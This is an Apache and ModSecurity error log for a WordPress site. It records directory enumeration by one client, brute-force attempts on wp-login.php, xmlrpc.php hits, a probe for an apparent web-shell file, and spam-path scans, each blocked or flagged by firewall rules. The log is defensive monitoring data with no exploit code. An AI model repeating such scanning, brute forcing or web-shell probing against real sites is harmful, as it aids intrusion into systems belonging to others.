[Wed Jan 28 05:46:01.783486 2026] [autoindex:error] [pid 2454:tid 2478] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:02.077568 2026] [autoindex:error] [pid 2454:tid 2466] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:08.196289 2026] [autoindex:error] [pid 2454:tid 2473] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:09.974844 2026] [autoindex:error] [pid 2454:tid 2481] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.226278 2026] [autoindex:error] [pid 2454:tid 2472] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.349700 2026] [autoindex:error] [pid 2454:tid 2468] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.519175 2026] [autoindex:error] [pid 2454:tid 2478] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.644100 2026] [autoindex:error] [pid 2454:tid 2474] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.772773 2026] [autoindex:error] [pid 2454:tid 2469] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:10.915361 2026] [autoindex:error] [pid 2454:tid 2476] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:11.043702 2026] [autoindex:error] [pid 2454:tid 2479] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:17.816868 2026] [autoindex:error] [pid 2454:tid 2469] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:18.176043 2026] [autoindex:error] [pid 2454:tid 2479] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:18.319557 2026] [autoindex:error] [pid 2454:tid 2477] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:18.479157 2026] [autoindex:error] [pid 2454:tid 2458] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:18.693114 2026] [autoindex:error] [pid 2454:tid 2466] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:20.522847 2026] [autoindex:error] [pid 2454:tid 2471] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:20.644080 2026] [autoindex:error] [pid 2454:tid 2482] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:20.767957 2026] [autoindex:error] [pid 2454:tid 2467] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:20.894735 2026] [autoindex:error] [pid 2454:tid 2478] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:21.019608 2026] [autoindex:error] [pid 2454:tid 2464] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:28.063084 2026] [autoindex:error] [pid 2454:tid 2467] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:28.272515 2026] [autoindex:error] [pid 2454:tid 2481] [client 40.115.138.121:19035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:46:31.605625 2026] [:error] [pid 2454:tid 2480] [client 40.115.138.121:19035] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Response/"] [unique_id "aXkyN5vv4I21Ywd7NNYmIQAAAZY"]
[Wed Jan 28 05:46:32.073107 2026] [:error] [pid 58254:tid 58257] [client 40.115.138.121:35704] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Response/"] [unique_id "aXkyOPF8nSyBg9wOsa8-AQAAAQE"]
[Wed Jan 28 05:46:32.562437 2026] [:error] [pid 17425:tid 17462] [client 40.115.138.121:23739] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Response/"] [unique_id "aXkyOKrcODKH1Dl7aZBR2QAAAEA"]
[Wed Jan 28 05:46:33.032698 2026] [:error] [pid 58254:tid 58258] [client 40.115.138.121:29342] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Response/"] [unique_id "aXkyOfF8nSyBg9wOsa8-BgAAAQI"]
[Wed Jan 28 05:58:28.439798 2026] [:error] [pid 17426:tid 17490] [client 137.184.237.108:54994] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXk1BE8zvf_03BnziRcy9gAAAIE"]
[Wed Jan 28 06:36:04.406276 2026] [:error] [pid 17535:tid 17542] [client 101.33.80.42:49328] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXk91K3QiSMgVscnN5JP5wAAAMQ"]
[Wed Jan 28 06:42:15.258215 2026] [:error] [pid 2454:tid 2460] [client 104.208.113.220:22274] [client 104.208.113.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aXk_R5vv4I21Ywd7NNY4twAAAYI"]
[Wed Jan 28 06:42:15.944698 2026] [:error] [pid 26993:tid 27020] [client 104.208.113.220:25010] [client 104.208.113.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aXk_R2nuZQRiIvPvxUtT0gAAAdc"]
[Wed Jan 28 06:42:16.516987 2026] [:error] [pid 2454:tid 2477] [client 104.208.113.220:7887] [client 104.208.113.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aXk_SJvv4I21Ywd7NNY4ugAAAZM"]
[Wed Jan 28 06:42:17.301927 2026] [:error] [pid 64842:tid 64848] [client 104.208.113.220:4140] [client 104.208.113.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xleet.php"] [unique_id "aXk_SVuAAQZ5AN_SnDYyngAAAUQ"]
[Wed Jan 28 06:46:19.716610 2026] [:error] [pid 17424:tid 17435] [client 3.224.196.144:35850] [client 3.224.196.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.224.196.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXlAO2RvtDRvGDe-pIt_KQAAAAI"]
[Wed Jan 28 07:09:02.017735 2026] [:error] [pid 2454:tid 2480] [client 141.98.11.239:64983] [client 141.98.11.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXlFjpvv4I21Ywd7NNY7twAAAZY"]
[Wed Jan 28 07:09:02.017813 2026] [:error] [pid 2454:tid 2480] [client 141.98.11.239:64983] [client 141.98.11.239] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.239 on wp-login.php, counter = 23"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXlFjpvv4I21Ywd7NNY7twAAAZY"]
[Wed Jan 28 07:28:05.076000 2026] [:error] [pid 17425:tid 17473] [client 209.50.227.124:52210] [client 209.50.227.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.50.227.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXlKBarcODKH1Dl7aZBjwwAAAEs"]
[Wed Jan 28 08:15:10.935792 2026] [:error] [pid 17424:tid 17444] [client 185.21.112.38:48474] [client 185.21.112.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.21.112.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXlVDmRvtDRvGDe-pIuM_AAAAAs"]
[Wed Jan 28 09:02:30.698764 2026] [:error] [pid 17426:tid 17513] [client 115.79.136.140:54547] [client 115.79.136.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.79.136.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXlgJk8zvf_03BnziRdhngAAAJg"]
[Wed Jan 28 10:06:38.856317 2026] [:error] [pid 17424:tid 17444] [client 49.234.192.248:49566] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXlvLmRvtDRvGDe-pIukMAAAAAs"]
[Wed Jan 28 10:42:21.677846 2026] [:error] [pid 33491:tid 33566] [client 20.195.27.48:39116] [client 20.195.27.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.195.27.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXl3jWP9UY0x3irkINCH8AAAAM8"]
[Wed Jan 28 10:45:15.137317 2026] [:error] [pid 33636:tid 33657] [client 217.182.195.140:44314] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXl4O9IVZAudQH0BSC6k_gAAAhM"]
[Wed Jan 28 10:45:17.269757 2026] [:error] [pid 33489:tid 33513] [client 217.182.195.140:44502] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A2%E0%B8%88%E0%B8%B1%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXl4PRZrVZwQUFWC7__IsAAAABQ"]
[Wed Jan 28 10:45:19.337096 2026] [:error] [pid 33490:tid 33524] [client 217.182.195.140:44510] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXl4P2jexcy58gsBPJHxygAAAEA"]
[Wed Jan 28 10:45:21.385202 2026] [:error] [pid 33489:tid 33516] [client 217.182.195.140:44526] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%95.aspx"] [unique_id "aXl4QRZrVZwQUFWC7__IuwAAABc"]
[Wed Jan 28 10:45:23.502605 2026] [:error] [pid 33636:tid 33651] [client 217.182.195.140:44530] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXl4Q9IVZAudQH0BSC6lLQAAAg0"]
[Wed Jan 28 10:45:25.479392 2026] [:error] [pid 33580:tid 33602] [client 217.182.195.140:48190] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%20sbobet.aspx"] [unique_id "aXl4RZlb0QJtwfka8l7PGgAAAQ8"]
[Wed Jan 28 10:45:27.585771 2026] [:error] [pid 33636:tid 33656] [client 217.182.195.140:48198] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2888.aspx"] [unique_id "aXl4R9IVZAudQH0BSC6lNgAAAhI"]
[Wed Jan 28 10:45:29.625067 2026] [:error] [pid 33580:tid 33608] [client 217.182.195.140:48200] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXl4SZlb0QJtwfka8l7PIwAAARU"]
[Wed Jan 28 10:45:31.670714 2026] [:error] [pid 33490:tid 33533] [client 217.182.195.140:48204] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3slotxo.aspx"] [unique_id "aXl4S2jexcy58gsBPJHx4AAAAEk"]
[Wed Jan 28 10:45:33.785875 2026] [:error] [pid 33491:tid 33566] [client 217.182.195.140:48208] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A2%E0%B8%B2%E0%B8%A199%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXl4TWP9UY0x3irkINCJmwAAAM8"]
[Wed Jan 28 10:45:35.782318 2026] [:error] [pid 33489:tid 33493] [client 217.182.195.140:44618] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXl4TxZrVZwQUFWC7__I3wAAAAA"]
